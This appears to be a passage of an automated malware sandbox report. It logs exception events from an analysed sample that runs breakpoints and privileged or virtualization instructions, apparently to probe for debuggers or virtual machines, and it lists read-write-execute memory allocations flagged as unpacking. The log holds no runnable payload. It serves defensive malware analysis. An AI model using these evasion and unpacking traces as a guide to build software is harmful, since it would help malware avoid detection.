__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: GetStartupInfoA-0x10e00 kernel32+0x0 @ 0x755b0000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: cc 2e ad cc a6 17 a9 8c c4 f1 0d 61 5d c8 09 f2 exception.instruction: int3 exception.exception_code: 0x80000003 exception.symbol: exception.address: 0xa9a9c50 registers.esp: 102033548 registers.edi: 362056 registers.eax: 1969084418 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 16384 registers.ecx: 1216	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: GetStartupInfoA-0x10e00 kernel32+0x0 @ 0x755b0000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 89 36 8b 3b 2b 3e 53 c9 90 cc 99 2d 8b 04 2d e9 exception.instruction: mov dword ptr [esi], esi exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa9a9ca1 registers.esp: 102033544 registers.edi: 362056 registers.eax: 1969084418 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 44829 registers.ecx: 1216	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 78 24 58 9c 00 0a 3e 79 b6 cf 8f 1e ee 0b 13 86 exception.instruction: js 0xa9a9d11 exception.exception_code: 0x80000004 exception.symbol: exception.address: 0xa9a9ceb registers.esp: 102033544 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 102033540 registers.esi: 256 registers.ecx: 1216	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 89 0f ec 55 8a bf b9 ec a0 54 de 44 83 7b 2c 99 exception.instruction: mov dword ptr [edi], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa9a9d3c registers.esp: 102033544 registers.edi: 43448 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 1216	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 0f 01 31 28 00 00 00 00 00 00 00 00 00 00 2c fa exception.instruction: lmsw word ptr [ecx] exception.exception_code: 0xc0000096 exception.symbol: exception.address: 0xa9dc1f7 registers.esp: 102033544 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 1216	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: cc 74 49 39 86 2a 2d 3c 2f 48 90 d6 20 3b 24 da exception.instruction: int3 exception.exception_code: 0x80000003 exception.symbol: exception.address: 0xa9dc217 registers.esp: 102033544 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360568	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 73 0c 9f 69 84 a6 58 de 0c d2 9f 75 81 44 24 31 exception.instruction: jae 0xa9dc25c exception.exception_code: 0x80000004 exception.symbol: exception.address: 0xa9dc24e registers.esp: 102033536 registers.edi: 362056 registers.eax: 256 registers.ebp: 102033552 registers.edx: 102033532 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360568	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 89 37 ac 7e 2b f0 25 bc 04 29 ba b3 e4 4b 1c 4c exception.instruction: mov dword ptr [edi], esi exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa9dc28b registers.esp: 102033540 registers.edi: 58660 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360568	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 89 1b c6 3f b4 39 df c4 9f 64 f3 a0 b5 52 24 d3 exception.instruction: mov dword ptr [ebx], ebx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa9dc2d0 registers.esp: 102033540 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 33022 registers.esi: 3459784 registers.ecx: 91360568	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 0f 00 17 4c 00 00 00 00 00 00 00 00 00 00 2e 04 exception.instruction: lldt word ptr [edi] exception.exception_code: 0xc0000096 exception.symbol: exception.address: 0xa9dc301 registers.esp: 102033544 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360572	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 66 0f c7 30 00 00 00 00 00 00 00 00 00 00 0e 4b exception.instruction: vmclear qword ptr [eax] exception.exception_code: 0xc000001d exception.symbol: exception.address: 0xa9dc315 registers.esp: 102033544 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360572	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 0f 00 55 00 00 00 00 00 00 00 00 00 00 00 1e fc exception.instruction: lldt word ptr [ebp] exception.exception_code: 0xc0000096 exception.symbol: exception.address: 0xa9dc34f registers.esp: 102033544 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360572	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 0f 06 94 8a 00 00 00 00 00 00 00 00 00 00 1d e7 exception.instruction: clts exception.exception_code: 0xc0000096 exception.symbol: exception.address: 0xa9dc379 registers.esp: 102033544 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360572	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: f3 0f c7 33 00 00 00 00 00 00 00 00 00 00 09 c0 exception.instruction: vmxon qword ptr [ebx] exception.exception_code: 0xc000001d exception.symbol: exception.address: 0xa9dc3a0 registers.esp: 102033544 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360572	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: cc 92 ed 7f 63 dd 01 f5 da 97 b2 4a b6 e4 2d fc exception.instruction: int3 exception.exception_code: 0x80000003 exception.symbol: exception.address: 0xa9dc3d9 registers.esp: 102033544 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360572	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: cc 67 61 e6 f6 56 98 ed 1c 10 87 0c f8 54 20 2b exception.instruction: int3 exception.exception_code: 0x80000003 exception.symbol: exception.address: 0xa9dc3f6 registers.esp: 102033544 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360572	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: cc 7f 68 71 aa 51 e1 2a ea 3c ca cb f4 9d 2c 4c exception.instruction: int3 exception.exception_code: 0x80000003 exception.symbol: exception.address: 0xa9dc410 registers.esp: 102033544 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360572	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 0f 01 19 d4 00 00 00 00 00 00 00 00 00 00 14 5a exception.instruction: lidt ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa9dc432 registers.esp: 102033544 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360576	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 0f 01 30 7d 00 00 00 00 00 00 00 00 00 00 1c fc exception.instruction: lmsw word ptr [eax] exception.exception_code: 0xc0000096 exception.symbol: exception.address: 0xa9dc466 registers.esp: 102033544 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360576	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: cc 77 f9 c2 1a cd 6f 61 4c 59 98 35 44 4b 14 a5 exception.instruction: int3 exception.exception_code: 0x80000003 exception.symbol: exception.address: 0xa9dc492 registers.esp: 102033544 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360576	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: cc ee b6 ef 06 ed 4b 97 cb a9 14 3a 5b da 0b 46 exception.instruction: int3 exception.exception_code: 0x80000003 exception.symbol: exception.address: 0xa9dc4c0 registers.esp: 102033544 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360576	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 72 20 43 e9 d3 8f 88 99 cf e2 5b a1 56 43 0a 11 exception.instruction: jb 0xa9dc534 exception.exception_code: 0x80000004 exception.symbol: exception.address: 0xa9dc512 registers.esp: 102033536 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 102033532 registers.ebx: 256 registers.esi: 3459784 registers.ecx: 91360576	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: f4 59 64 d8 00 00 00 00 00 00 00 00 00 00 2e fa exception.instruction: hlt exception.exception_code: 0xc0000096 exception.symbol: exception.address: 0xa9dc551 registers.esp: 102033544 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360576	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 89 03 e2 64 28 df ca 2b 40 a5 6c 6e b2 d9 1d 5b exception.instruction: mov dword ptr [ebx], eax exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa9dc589 registers.esp: 102033540 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 14701 registers.esi: 3459784 registers.ecx: 91360576	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 0f 01 c3 71 00 00 00 00 00 00 00 00 00 00 08 49 exception.instruction: vmresume exception.exception_code: 0xc000001d exception.symbol: exception.address: 0xa9dc613 registers.esp: 102033544 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360580	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 89 0f 0a 1f 42 98 3d b2 9e b5 a5 ce 85 27 13 ee exception.instruction: mov dword ptr [edi], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa9dc657 registers.esp: 102033540 registers.edi: 18169 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360580	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 0f 01 18 d9 00 00 00 00 00 00 00 00 00 00 23 41 exception.instruction: lidt ptr [eax] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa9dc693 registers.esp: 102033544 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360580	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 0f c7 3e 77 00 00 00 00 00 00 00 00 00 00 26 0e exception.instruction: vmptrst qword ptr [esi] exception.exception_code: 0xc000001d exception.symbol: exception.address: 0xa9dc6b2 registers.esp: 102033544 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360580	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 89 06 6c 37 69 7e 42 49 f7 7a d6 a4 7e bb 2e b6 exception.instruction: mov dword ptr [esi], eax exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa9dc6e6 registers.esp: 102033540 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 64107 registers.ecx: 91360580	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 0f 01 19 12 00 00 00 00 00 00 00 00 00 00 2f 4f exception.instruction: lidt ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa9dc705 registers.esp: 102033544 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360580	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 7b 09 82 07 87 a6 16 e1 55 6a d9 8a 0b 54 17 9d exception.instruction: jnp 0xa9dc74b exception.exception_code: 0x80000004 exception.symbol: exception.address: 0xa9dc740 registers.esp: 102033536 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 256 registers.esi: 3459784 registers.ecx: 102033532	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 89 33 56 35 40 59 a0 ce bd 51 18 35 0b 4c 27 65 exception.instruction: mov dword ptr [ebx], esi exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa9dc7a7 registers.esp: 102033540 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 25864 registers.esi: 3459784 registers.ecx: 91360584	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: cc 5f 16 a5 8e 60 be 85 9e 1d fc 3e d0 24 0b 3e exception.instruction: int3 exception.exception_code: 0x80000003 exception.symbol: exception.address: 0xa9a9d5e registers.esp: 102033548 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360584	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 0f c7 37 75 00 00 00 00 00 00 00 00 00 00 1a 32 exception.instruction: vmptrld qword ptr [edi] exception.exception_code: 0xc000001d exception.symbol: exception.address: 0xa9a9d94 registers.esp: 102033544 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 91360584	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 89 09 07 96 8d 87 e9 0f 26 b3 35 88 ca 7c 29 e2 exception.instruction: mov dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa9a9dda registers.esp: 102033540 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 2788853307 registers.esi: 3459784 registers.ecx: 21522	1
__exception__ Dec. 12, 2023, 7:42 a.m.	stacktrace: DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x76f10000 SwitchToFiber+0x178 CreateFiber-0xe kernel32+0x3bdc8 @ 0x755ebdc8 exception.instruction_r: 89 1b b4 26 e4 f7 bf 19 68 80 d4 70 01 1d 08 43 exception.instruction: mov dword ptr [ebx], ebx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa9a9e07 registers.esp: 102033540 registers.edi: 362056 registers.eax: 91360568 registers.ebp: 102033552 registers.edx: 1969720771 registers.ebx: 63514 registers.esi: 3459784 registers.ecx: 91360584	1

Allocates read-write-execute memory (usually to unpack itself) (50 out of 275 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73272000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 1310720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02920000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72891000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01eda000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72892000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01ed2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f22000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a21000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a22000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0225a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f23000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f24000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0226b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02267000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01edb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02252000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02265000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f25000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0225c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f26000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2023, 7:42 a.m.	process_identifier: 2640 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0226c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
